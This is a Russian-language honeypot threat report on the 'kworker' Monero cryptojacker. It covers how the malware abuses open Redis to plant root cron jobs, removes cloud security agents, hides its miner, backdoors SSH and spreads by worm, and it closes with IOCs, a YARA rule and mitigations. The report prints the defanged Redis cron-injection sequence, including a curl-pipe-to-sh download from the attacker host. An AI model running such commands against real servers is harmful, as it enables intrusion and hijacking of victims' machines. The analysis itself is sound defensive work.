malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: криптомайнер, который приносит собственный деинсталлятор
Kinryū Labs зафиксировала криптоджекер родословной 8220, превративший открытый, беспарольный порт Redis в root-шелл примерно за пять секунд. Дроппер — shell-скрипт из 636 строк под именем kworker — удаляет облачные агенты безопасности Alibaba и Tencent их же собственными инструментами, тратит 200 строк на убийство майнеров-конкурентов, ставит бэкдор в SSH, прячет XMRig-майнер Monero за поддельными ps, top и pstree и пытается распространиться дальше.
Автор Davis Zheng·
TLP:CLEAR. Согласовано к публикации. Зафиксировано сетью сенсоров-ловушек Kinryū Labs 10 июня 2026 года. Только статический, пассивный анализ: дроппер ни разу не запускался, и ни к какой инфраструктуре атакующего обращений не было. Индикаторы ниже обезврежены; YARA-правило по замыслу несёт «живые» строки — для обнаружения. Майнер второй стадии и кошелёк Monero мы не извлекли.
Краткое резюме
- ~5 сот открытого порта Redis до четырёх root-бэкдоров в cron
- 636строк bash — полный набор для захвата хоста
- 2деинсталлятора вендоров, вшитых внутри в base64
- 80+майнеров-конкурентов в списке на уничтожение
В шесть минут после полуночи по UTC что-то открыло соединение с портом Redis на одной из наших ловушек, выполнило единственный INFO, чтобы понять, с чем имеет дело, и отключилось. Через две секунды оно вернулось и взялось за работу. К моменту отключения — всего пять секунд — оно переписало таблицу cron сервера четырьмя разными способами и каждый из них нацелило на один и тот же файл: shell-скрипт под именем kworker.
Мы так и не дали ему запуститься. Ловушка перехватывает полезную нагрузку, хеширует её и откладывает в сторону; сама машина остаётся чистой. Так что у нас на руках — скрипт целиком, все 636 строк, и полная запись взлома. Вместе они дают чистый срез того, куда пришёл массовый Linux-криптоджекинг к 2026 году, и kworker — хороший образец, потому что делает почти всё, что когда-либо изобретал жанр. И ещё одно он делает с совершенно невозмутимым видом: удаляет ваш антивирус деинсталлятором самого вендора антивируса.
Ключевые выводы
- Массовый криптоджекинг родословной 8220 Gang / kworkerds, оппортунистический и неприцельный (средняя уверенность). Доставка через Redis, переименованные инструменты загрузки, lock-файл
/etc/javaeи огромный список целей — всё это признаки этого семейства. Мы держимся на средней уверенности, не выше, потому что это широко форкнутый код, который команды передают друг другу и перепродают, так что имя указывает на родословную, а не на одного автора. - Цель — майнинг Monero (высокая уверенность). Весь смысл скрипта — скачать и запустить
javae, сборку XMRig, предварительно включив для неё huge pages. Всё остальное существует, чтобы расчистить поле и удержать хост. - Зрелое, обкатанное ПО, а не чей-то проект на выходные (высокая уверенность). Собственные cron-строки взлома вызывают
cd1иwd1— инструменты, которые существуют только после установки kworker. Набор уже предполагает сам себя, а это признак кода, который давно в обороте. - Отсутствие кошелька — намеренное (высокая уверенность). В скрипте нет ни адреса Monero, ни пула; и то и другое живёт в бинарнике майнера, который мы не извлекли. Единственная деталь, которая связала бы кампании этой команды воедино, — ровно та, что они держат вне скрипта; на ту же стену мы наткнулись в разборе RedTail.
FLUSHALL, затем четыре пути в cron
Redis, оставленный в интернете без пароля, годами был однострочным root-шеллом, и приём здесь — старый проверенный. Задать ключ базы, значением которого служит cron-задание. Велеть Redis сохранить базу в папку cron. Вызвать SAVE. Redis пишет базу на диск, вместе с вашим поддельным cron-заданием, и через минуту cron запускает его от root. Наш гость снял отпечаток сервера, проверил, что может записать файл, отключил защиту, останавливающую сохранение при ошибке, и провернул трюк.
# что посетитель отправил в Redis (сокращённо, обезврежено)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
Всё вторжение умещается в несколько секунд:
- 00:06:00 UTCПодключение, отправка единственного
INFOдля снятия отпечатка сервера, отключение. - +2 секундыПовторное подключение. Установка четырёх ключей, каждый содержит cron-строку.
CONFIG SET dirна папку cron,CONFIG SET dbfilenameна целевой cron-файл, отключение stop-writes-on-bgsave-error, затемSAVE. - +5 секунд в суммеОтключение. У ловушки — вся полезная нагрузка и вся запись; машина остаётся чистой.
- +1 минутаНа реальном хосте cron запускает подсаженную строку от root и подтягивает
kworker.
На чём стоит притормозить — это избыточность. Оно записало не одно cron-задание; оно записало одну и ту же инструкцию в четыре места — /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae и /etc/crontab — охватывая и компоновку Red Hat, и Debian, и оба синтаксиса cron. Каждая строка подтягивала kworker своим инструментом — cd1, wget, curl, wd1 — по разнесённому расписанию в две, три, четыре, пять минут. Два из этих имён — не настоящие программы. cd1 и wd1 — это то, во что kworker переименовывает curl и wget после установки. Взлом уже предполагает скрипт, который вот-вот скачает. Весь набор внутренне согласован, и именно так понимаешь, что это зрелое, обкатанное ПО, а не чей-то проект на выходные.
Принеси свой деинсталлятор
Едва получив root, kworker начинает разбирать здание по кирпичику. Файрвол сброшен, ufw выключен, SELinux переведён в permissive, а затем отключён в конфиге, AppArmor остановлен, NMI watchdog ядра выключен — а это важно, потому что майнер держит CPU на ста процентах неделями, и watchdog — одна из немногих вещей, которая могла бы это заметить. /var/log/syslog удаляется начисто.
Затем оно идёт искать облачные агенты безопасности, и здесь скрипт перестаёт быть рядовым. Крупные китайские облачные провайдеры ставят на свои ВМ хостовый агент: Aegis от Alibaba, который вы увидите работающим как AliYunDun; YunJing от Tencent; HostGuard от Huawei. kworker проверяет каждый. Где находит агент Alibaba, оно не просто убивает процесс. Оно запускает официальный деинсталлятор Alibaba, а чтобы это сработало даже на машине без маршрута обратно к Alibaba, оно несёт два деинсталляционных скрипта Alibaba, закодированных в base64, внутри себя. Мы декодировали оба. Это подлинники, со всем демонтажом kprobe-трассировки.
Оно удаляет вашу защиту конечных точек начисто, так, как задумал вендор, и оставляет журналы в порядке.
Это не импровизация. Кто-то сидел перед настоящей машиной Aliyun, снял деинсталляторы и встроил их.
Война за территорию, написанная на bash
Если вы никогда не читали один из таких скриптов, удивляет то, сколько в нём нацелено на других преступников. Настоящий враг майнера — следующий майнер, пытающийся арендовать тот же CPU, а не системный администратор. kworker тратит примерно двести строк на охоту за конкурентами и убивает их по каждой зацепке, какую только может ухватить.
- По имени процесса — из чёрного списка более чем на сотню:
xmrig,kinsing,kdevtmpfsi, семействоwatchdogsиwatchbog,ddg,sustesи более старыйkworkerds, от которого происходит его собственное имя. - По порту — тем, на которых сидят майнинг-пулы и IRC-боты.
- По жёстко заданному IP-адресу.
- По CPU, грубым инструментом: всё, что жжёт более 40 процентов процессора под именем, которого оно не узнаёт, убивается — по логике, что неизвестный процесс, поедающий CPU, по определению является майнером-конкурентом.
Оно удаляет их файлы из /tmp и /dev/shm, срезает их cron-задания, убирает preload-руткиты, которые некоторые из них ставят, и дотягивается до Docker, чтобы убить и удалить известные майнинговые образы. Это тот же захват земли, что мы задокументировали в скрипте clean у RedTail и в killservice.sh у Rootpacket; все эти команды дерутся за одни и те же неверно настроенные машины и все начинают с зачистки поля.
Оно также — конкретно и неоднократно — грубо с TeamTNT: отменяет переименования curl и wget, которые делает TeamTNT, и стирает его каталоги. Где оно убивает Kinsing, оно перезаписывает файл словом fuckyou и блокирует его, чтобы Kinsing не смог вернуться. Чести здесь нет, только захват земли, и kworker играет в это жёстче большинства.
Прочтите список внимательно — и он превращается в каталог того, как прячется конкуренция. Одна группа целей выдаёт себя за потоки ядра: kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc; другая — за системные демоны: polkitd, acpid, dbus-daemon--system и systemctI с заглавной I там, где должна быть L. kworker охотится ровно за теми личинами, что носят его соперники, — теми же личинами, к которым он сам тянется несколькими строками позже, когда прячет javae среди имён вроде systemd-network и irqbalanced. Все в этой драке одеты как скучный системный шум, и каждый заучил наизусть костюм каждого.
Несколько целей — вовсе не имена. Одна — L2Jpbi9iYXN, ведущий base64 команды /bin/bash. kworker ищет в таблице процессов этот закодированный префикс, ловя загрузчик соперника по base64-блобу, сидящему в его командной строке.
Список целиком выходит длинным — более сотни способов назвать процесс, который хочешь видеть мёртвым, — и его стоит хотя бы раз пролистать просто ради фактуры этой вражды:
Полный список целей, извлечённый из захваченного скрипта
Извлечено из kill_miner_proc, kill_sus_proc и Docker-зачистки. Всё здесь — цель, за которой kworker охотится, а не его собственная инфраструктура. IP-адреса обезврежены.
Порты, на которых оно убивает любой процесс (майнинг-пулы, IRC-боты, RAT, альтернативные SSH и Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
Узнаваемые семейства майнеров и ботнетов: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
Конкуренты, маскирующиеся под потоки ядра: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
Конкуренты, маскирующиеся под системные демоны: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (заглавная i, не systemctl), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
Прочие именованные пейлоады, скрипты и маркеры кампаний: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
Обфусцированные лаунчеры и сбрасываемые конфиги: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess и его опечатанные близнецы, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, плюс base64-маркер колыбели L2Jpbi9iYXN (начало однострочника /bin/bas...).
IP-адреса пулов и C2 конкурентов, по которым оно бьёт без разбора: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
Docker-образы и контейнеры, которые оно убивает и удаляет: контейнеры с именами pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell; ссылки на образы pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp.
И грубый инструмент: всё, что превышает 40 процентов CPU и не совпадает с javae, убивается; как и всё, что превышает 10 процентов и чьё имя выглядит как поток ядра в скобках; как и всё, что запущено из /tmp; и любой процесс с подозрительно длинным именем.
Теперь ты его не видишь
Расчистив поле, оно прячет собственного игрока. Оно заменяет ps, top и pstree двухстрочными обёртками, которые вызывают настоящие бинарники и тихо отфильтровывают любую строку, упоминающую майнер (javae) или сканер, который оно несёт (pnscan), а затем датирует подделки задним числом 2016 годом, чтобы те не выглядели новыми. Запустите ps на заражённой машине — и майнера в списке просто нет.
Майнер и без того назван так, чтобы раствориться в таблице процессов: javae соседствует с lock-файлами, подсаженными под именами вроде systemd-network, irqbalanced и kswaped, — каждое выбрано так, чтобы читаться как скучный системный шум.
Ключ и путь к соседям
Захват завершают ещё два хода.
Оно записывает публичный SSH-ключ оператора, чей комментарий — просто uc1, в authorized_keys пользователя root и делает файл неизменяемым, так что заметить его недостаточно; чтобы хотя бы удалить, сначала надо снять бит неизменяемости. Это интерактивный доступ, который переживёт уборку самого майнера.
Затем оно пытается распространиться. Оно читает known_hosts пользователя root — список всех машин, на которые эта машина заходила, — и пытается подключиться по SSH к каждой, используя ключи, уже лежащие на диске, запуская на всём, что его впустит, однострочник, который подтягивает kworker с резервного адреса и начинает всю историю заново. Это не быстрый червь, и он опирается на беспарольные ключи, оставленные где попало, но на том типе парка машин, где их обычно и оставляют, этого вполне достаточно.
Майнер и кошелёк, который мы не достали
При всей этой машинерии настоящий добытчик скучен: второй файл, javae, сборка XMRig, которая майнит Monero. kworker включает huge pages (vm.nr_hugepages выставляется в 128 — стандартное ускорение для XMRig), сбрасывает javae в /etc и запускает его.
Вот пробел в этом отчёте. У нас нет javae, и у нас нет кошелька. В скрипте нет ни адреса Monero, ни пула; они вшиты в бинарник майнера, который подтягивается во время выполнения, и C2 не отдал его ни одной из публичных песочниц, смотревших на этот образец, так что разбирать пассивно нечего. Любой, кто анализирует kworker сам по себе, упирается в ту же стену. Кошелёк — единственное, что связало бы кампании этой команды воедино, и это ровно то, что они держат вне скрипта.
Размещено на Cloudflare, намеренно
И скрипт, и майнер приходят с download.logltech[.]workers[.]dev, адреса Cloudflare Workers, и это намеренный выбор. Workers бесплатен, по умолчанию работает по HTTPS, заимствует репутацию Cloudflare, так что проскакивает мимо доменных чёрных списков, и скрывает тот origin, которым оператор на самом деле управляет. Наша ловушка ни разу не увидела настоящего сервера; она всегда видела только Cloudflare.
Резервный канал, используемый червём, — tutorial.clashverge[.]space, зарегистрированный в конце февраля. Любой другой IP-адрес, жёстко заданный в скрипте, принадлежит конкуренту, которого оно хочет видеть мёртвым, — разбросанные по машинам Vultr, OVH и DigitalOcean и одному хосту Alibaba Cloud в Ханчжоу, а вовсе не этому оператору. Читайте жёстко заданные IP как список целей, а не как инфраструктуру.
Чьё это?
Осторожно, значит. Это массовый криптоджекинг из родословной, обычно проходящей под именем 8220 Gang, или kworkerds. Признаки все налицо: доставка через cron-инъекцию в Redis, переименование curl в cd1, lock-файл /etc/javae, распространитель pnscan, огромный список целей. Антивирусные движки не могут сойтись на имени, что само по себе и есть суть. ClamAV зовёт его Rocke, Rising помечает как TeamTNT, остальные просто говорят CoinMiner. Эти скрипты копируются, сливаются и перепродаются между полудюжиной команд, и kworker убивает несколько семейств, с которыми сам в родстве.
Считайте семейство районом, а не отпечатком пальца.
Фокус на китайских облачных агентах и Windows-собрат на PowerShell, который VirusTotal связывает с тем же образцом, дополняют картину, но безопасное утверждение — скромное. Широко форкнутый, финансово мотивированный, неприцельный и не новый. Средняя уверенность, и здесь спокойно.
Индикаторы компрометации
Сеть
| Индикатор | Контекст |
|---|---|
download.logltech[.]workers[.]dev | C2 (основной), Cloudflare Workers. Отдаёт /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2 (резервный), используется червём. Зарегистрирован 27 фев. 2026 |
170.9.225[.]197 | IP-источник, ударивший по ловушке Redis |
хост *.workers.dev + GET под /up/down/api/ | Паттерн подтягивания нагрузки, заслуживающий пристального взгляда на проводе |
Файлы (SHA-256 / MD5)
| Файл | SHA-256 | MD5 |
|---|---|---|
kworker (дроппер) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (XMRig-майнер) | не извлечён, ожидается 5 685 096 байт |
SSH-ключ бэкдора: комментарий uc1, отпечаток публичного ключа SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. Ищите его в authorized_keys по всему парку машин.
Артефакты на хосте
| Путь | Контекст |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | Сброшенные файлы |
/usr/bin/cd1 (был curl), /usr/bin/wd1 (был wget) | Переименованные инструменты загрузки |
/bin/ps.original, /bin/top.original, /bin/pstree.original | Настоящие бинарники, спрятанные за троянизированными обёртками |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | Неизменяемые lock-файлы с односимвольными именами |
vm.nr_hugepages = 128 | Huge pages, включённые для XMRig |
Поведенческие
ps,topилиpstree, который на самом деле является shell-скриптом, прогоняющим вывод черезgrep -v.authorized_keys, который вы не писали, оканчивающийся комментариемuc1.- Cron-задания, запускающие
sh /etc/kworkerилиsh /tmp/kworker, и/etc/cron.d/javae, которого быть не должно. - Неизменяемые файлы с односимвольными именами по пути
/usr/bin/kswapedи подобных. curlиwget, переименованные вcd1иwd1.vm.nr_hugepages, тихо выставленный в 128.
Обнаружение
Хостовые улики громкие, как только вы их знаете, и они перечислены выше. На проводе всё, что резолвит хост *.workers.dev и запрашивает пути под /up/down/api/, заслуживает пристального взгляда. Вот YARA-правило, срабатывающее на стабильных строках. Оно несёт «живые» строки намеренно — для обнаружения.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
Что это должно изменить
Ничего из этого не изощрённо, и в этом урок. kworker попал внутрь потому, что порт Redis был открыт без пароля — ошибка из 2018 года, которая всё ещё окупается в 2026-м. Всё, что было после, — удаление EDR, руткит и червь — имело значение лишь потому, что входная дверь была не заперта.
- Не выставляйте Redis, как и любое хранилище данных, в интернет и требуйте аутентификацию. Считайте один открытый сервис компрометацией всего хоста, а не одного сервиса.
- Следите за cron и
authorized_keysкак за продакшен-кодом, потому что для атакующего это ровно он и есть. - Не считайте облачный агент на машине страховкой. Первым побуждением kworker было подойти и удалить его — вежливо, инструментами самого вендора.
Сопоставление с MITRE ATT&CK
| Тактика | Техника |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Redis) |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Defense Evasion | T1562.001 Impair Defenses: Disable or Modify Tools (удаление облачного агента и EDR); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (троянизированные ps/top/pstree); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (подделки с датой задним числом) |
| Discovery | T1057 Process Discovery (охота на конкурентов); T1518.001 Security Software Discovery (облачные агенты); T1046 Network Service Scanning (pnscan) |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (майнинг Monero) |
Методология и заметки аналитика
- Анализ был статическим и пассивным. Дроппер ни разу не запускался, и ни к какой инфраструктуре атакующего обращений не было. Выводы получены из чтения захваченного скрипта в 636 строк целиком, декодирования встроенных base64-деинсталляторов и разбора записанной сессии Redis.
- Индикаторы выше обезврежены. YARA-правило по замыслу содержит «живые» строки — для обнаружения.
- У нас нет майнера второй стадии (
javae) или кошелька Monero. Скрипт не несёт ни того, ни другого; оба живут в бинарнике майнера, который подтягивается во время выполнения и который C2 не отдал публичным песочницам. Извлечение кошелька потребовало бы живой детонации с захватом сетевого трафика, чего мы не выполняли. - Образцы (дроппер и декодированные деинсталляторы) доступны другим исследователям и защитникам по запросу. Напишите на [email protected] с короткой запиской о том, кто вы и зачем они вам.